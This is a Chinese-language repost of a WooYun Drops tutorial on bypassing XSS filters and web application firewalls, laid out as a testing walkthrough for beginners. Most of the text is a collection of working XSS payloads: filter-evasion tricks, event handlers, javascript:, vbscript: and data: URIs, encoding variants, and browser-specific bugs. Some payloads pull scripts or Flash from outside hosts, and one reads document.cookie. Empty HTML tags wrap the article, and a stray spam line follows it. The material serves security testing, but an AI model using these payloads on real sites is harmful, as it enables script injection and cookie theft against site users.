<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/845

                    0x00 背景


                    本文來自于《Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters》其中的bypass xss過濾的部分,前面有根據WAF特征確定是哪個WAF的測試方法給略過了,重點來看一下后面繞xss的一些基本的測試流程,雖說是繞WAF的,但這里還是根據WAF中的正則缺陷來繞過測試方法,并不是協議上問題,所以呢,基本可以通用于其他xss過濾的場景。方便新手們比較快速的了解到測試xss的一些基本的方法。

                    0x01 Bypassing黑名單


                    大多數的場所是用的黑名單來做過濾器的,有三種方式繞過黑名單的測試:

                    1、暴力測試(輸入大量的payload,看返回結果)
                    2、根據正則推算
                    3、利用瀏覽器bug
                    

                    初步測試

                    1)嘗試插入比較正常的HTML標簽,例如:<b>,<i>,<u>來看一下返回頁面的情況是怎樣的,是否被HTML編碼了,或者標簽被過濾了。

                    2)嘗試插入不閉合的標簽,例如:<b,<i,<u,<marquee然后看一下返回響應,是否對開放的標簽也有過濾。

                    3)然后測試幾個XSS的payload,基本所有的xss過濾器都會進行過濾的:

                    <script>alert(1);</script>
                    <script>prompt(1);</script>
                    <script>confirm(1);</script>
                    <scriptsrc="http://rhainfosec.com/evil.js">
                    

                    看返回響應,是過濾的全部,還是只過濾了部分,是否還留下了alert,prompt,confirm字符,再嘗試大小寫的組合:

                    <scRiPt>alert(1);</scrIPt>
                    

                    4)如果過濾器僅僅是把<script></script>標簽過濾掉,那么可以用

                    <scr<script>ipt>alert(1)</scr<script>ipt>
                    

                    的方式來繞過,這樣當<script>標簽被過濾掉,剩下的組合起來剛好形成一個完整的payload。

                    5)用<a href標簽來測試,看返回響應

                    <a >Clickme</a>
                    

                    <a標簽是否被過濾 href是否被過濾 href里的數據是否被過濾

                    如果沒有數據被過濾,插入javascript協議看看:

                    <a href="javascript:alert(1)">Clickme</a>
                    

                    是否返回錯誤 javascript的整個協議內容是否都被過濾掉,還是只過濾了javascript字符 嘗試下大小寫轉換

                    繼續測試事件觸發執行javascript:

                    <a href="rhainfosec.com" onmouseover=alert(1)>ClickHere</a>
                    

                    看onmouseover事件是否被過濾。測試一個無效的事件,看過濾規則:

                    <a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
                    

                    是完整的返回了呢,還是跟onmouseover一樣被干掉了。

                    如果是完整的返回的話呢,那么意味著,做了事件的黑名單,但是在HTML5中,有超過150種的方式來執行javascript代碼的事件測試一個很少見的事件:

                    <body/onhashchange=alert(1)><a href=#>clickit
                    

                    測試其他標簽

                    接下來測試其他的標簽跟屬性

                    Src屬性

                    <img src=x onerror=prompt(1);>
                    <img/src=aaa.jpg onerror=prompt(1);> 
                    <video src=x onerror=prompt(1);>
                    <audio src=x onerror=prompt(1);>
                    

                    iframe標簽

                    <iframe src="javascript:alert(2)">
                    <iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
                    

                    embed標簽

                    <embed/src=//goo.gl/nlX0P>
                    

                    action屬性

                    利用<form,<isindex等標簽中的action屬性執行javascript

                    <form action="Javascript:alert(1)"><input type=submit>
                    <isindex action="javascript:alert(1)" type=image>
                    <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
                    <isindex action=data:text/html, type=image>
                    <formaction='data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt'><button>CLICK
                    

                    formaction屬性

                    <isindexformaction="javascript:alert(1)" type=image>
                    <input type="image" formaction=JaVaScript:alert(0)>
                    <form><button formaction=javascript&colon;alert(1)>CLICKME
                    

                    background屬性

                    <table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
                    

                    poster屬性

                    <video poster=javascript:alert(1)//></video> // Opera 10.5以下有效
                    

                    data屬性

                    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
                    <object/data=//goo.gl/nlX0P?
                    

                    code屬性

                    <applet code="javascript:confirm(document.cookie);"> // Firefox有效
                    <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
                    

                    事件觸發

                    <svg/onload=prompt(1);>
                    <marquee/onstart=confirm(2)>/
                    <body onload=prompt(1);>
                    <select autofocus onfocus=alert(1)>
                    <textarea autofocus onfocus=alert(1)>
                    <keygen autofocus onfocus=alert(1)>
                    <video><source onerror="javascript:alert(1)">
                    

                    最短的測試向量

                    <q/oncut=open()>
                    <q/oncut=alert(1)>//在限制長度的地方很有效
                    

                    嵌套

                    <marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
                    <bodylanguage=vbsonload=alert-1//IE8有效
                    <command onmouseover
                    ="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x6 6\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> //IE8有效
                    

                    過濾括號的情況下

                    當括號被過濾的時候可以使用throw來繞過

                    <a onmouseover="javascript:window.onerror=alert;throw 1>
                    <img src=x onerror="javascript:window.onerror=alert;throw 1">
                    

                    以上兩個測試向量在Chrome跟IE在上面會出現一個“uncaught”的錯誤,可以用以下的向量:

                    <body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>
                    

                    expression屬性

                    <img style="xss:expression(alert(0))"> // IE7以下
                    <div style="color:rgb(''&#0;x:expression(alert(1))"></div> // IE7以下
                    <style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
                    

                    location屬性

                    <a onmouseover=location='javascript:alert(1)'>click
                    <body onfocus="loaction='javascript:alert(1)'">123
                    

                    其他的一些payload

                    <meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
                    <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
                    <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg>
                    <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/>
                    <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg>
                    <meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
                    <math><a xlink:>click
                    

                    當= ( ) ; :被過濾時

                    <svg><script>alert&#40/1/&#41</script> // 通殺所有瀏覽器
                    

                    opera中可以不閉合

                    <svg><script>alert&#40 1&#41 // Opera可查
                    

                    實體編碼

                    很多情況下WAF會實體編碼用戶的輸入數據,

                    javascript是一個很靈活的語言,可以使用很多編碼,比如十六進制,Unicode和HTML。但是也對這些編碼可以用在哪個位置有規定:

                    屬性:

                    href=
                    action=
                    formaction=
                    location=
                    on*=
                    name=
                    background=
                    poster=
                    src=
                    code=
                    

                    支持的編碼方式:HTML,八進制,十進制,十六進制和Unicode

                    屬性:

                    data=
                    

                    支持的編碼:base64

                    基于上下文的過濾

                    WAF最大的問題,在于不知道輸出的位置的上下文,導致根據具體環境可以繞過。

                    輸入在屬性里

                    <input value="XSStest" type=text>
                    

                    可控位置為XSStest,可以使用

                    "><img src=x onerror=prompt(0);>
                    

                    如果< >被過濾的話可以換成

                    " autofocus onfocus=alert(1)//
                    

                    同樣還有很多其他的payload:

                    "onmouseover=" prompt(0)x="
                    "onfocusin=alert(1) autofocusx="
                    " onfocusout=alert(1) autofocus x="
                    "onblur=alert(1) autofocusa="
                    

                    輸入在script標簽中

                    例如:

                    <script>
                    Var x="Input";
                    </script>
                    

                    可控位置在Input,可以閉合script標簽插入代碼,但是同樣我們僅僅閉合雙引號就可以執行js代碼了

                    ";alert(1)//
                    

                    最終結果就是

                    <script>
                    Var x="";alert(1)//
                    </script>
                    

                    非常規的事件監聽

                    例如:

                    ";document.body.addEventListener("DOMActivate",alert(1))//
                    ";document.body.addEventListener("DOMActivate",prompt(1))//
                    ";document.body.addEventListener("DOMActivate",confirm(1))//
                    

                    下面是一些相同的類:

                    DOMAttrModified
                    DOMCharacterDataModified
                    DOMFocusIn
                    DOMFocusOut
                    DOMMouseScroll
                    DOMNodeInserted
                    DOMNodeInsertedIntoDocument
                    DOMNodeRemoved
                    DOMNodeRemovedFromDocument
                    DOMSubtreeModified
                    

                    HREF內容可控

                    例如:

                    <a href="Userinput">Click</a>
                    

                    可控的是Userinput那里我們需要做的只是把javascript代碼輸入就好了:

                    javascript:alert(1)//
                    

                    最后組合為:

                    <a href="javascript:alert(1)//">Click</a>
                    

                    變換

                    使用HTML實體URL編碼繞過黑名單,href里會自動實體解碼,如果都失敗了,可以嘗試使用vbscript在IE10以下都有效,或者使用data協議。

                    JavaScript變換

                    使用javascript協議時可使用的例子:

                    javascript&#00058;alert(1)
                    javaSCRIPT&colon;alert(1)
                    JaVaScRipT:alert(1)
                    javas&Tab;cript:\u0061lert(1);
                    javascript:\u0061lert&#x28;1&#x29
                    javascript&#x3A;alert&lpar;document&period;cookie&rpar;
                    

                    Vbscript變換

                    vbscript:alert(1);
                    vbscript&#00058;alert(1);
                    vbscr&Tab;ipt:alert(1)"
                    Data URl
                    data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
                    

                    JSON

                    當你的輸入會在encodeURIComponent當中顯示出來的時候,很容易插入xss代碼了

                    encodeURIComponent('userinput')
                    

                    userinput處可控,測試代碼:

                    -alert(1)-
                    -prompt(1)-
                    -confirm(1)-
                    

                    最終結果:

                    encodeURIComponent("-alert(1)-")
                    encodeURIComponent("-prompt(1)-")
                    

                    SVG標簽

                    當返回結果在svg標簽中的時候,會有一個特性

                    <svg><script>varmyvar="YourInput";</script></svg>
                    

                    YourInput可控,輸入

                    www.site.com/test.php?var=text";alert(1)//
                    

                    如果把"編碼一些他仍然能夠執行:

                    <svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>
                    

                    瀏覽器bug

                    字符集的bug在IE中出現過很多次,第一個就是UTF-7,但是這個只在之前的版本中可用,現在討論一個在現在的瀏覽器當中可以執行的javascript。

                    http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
                    

                    這個頁面當中我們可控當前頁面的字符集,當我們常規的測試時:

                    http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img src=x onerror=prompt(0);>
                    

                    返回結果可以看到雙引號被編碼了:

                    <html>
                    <meta charset="utf-8"></meta>
                    <body>
                    <input type="text" value="&quot;&gt;&lt;img src=x onerror=prompt(0);&gt;"></input>
                    </body>
                    </html> 
                    

                    設置字符集為UTF-32:

                    http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
                    

                    上面這個在IE9及以下版本可以執行成功。

                    利用0字節繞過:

                    <scri%00pt>alert(1);</scri%00pt>
                    <scri\x00pt>alert(1);</scri%00pt>
                    <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
                    

                    在IE9及以下版本有效。

                    其他等等一系列瀏覽器特性的XSS可以參考以下文章:

                    http://drops.wooyun.org/tips/147

                    0x02 總結


                    本文主要是一個測試XSS的思路流程,并沒有把所有的payload寫全,其實也沒有人能夠寫全,只是列了一個大體的框架,大家實際在尋找的過程中可以不斷慢慢的根據這種思路補充自己的payload,想必呢,一定會有很大的進步的!~

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频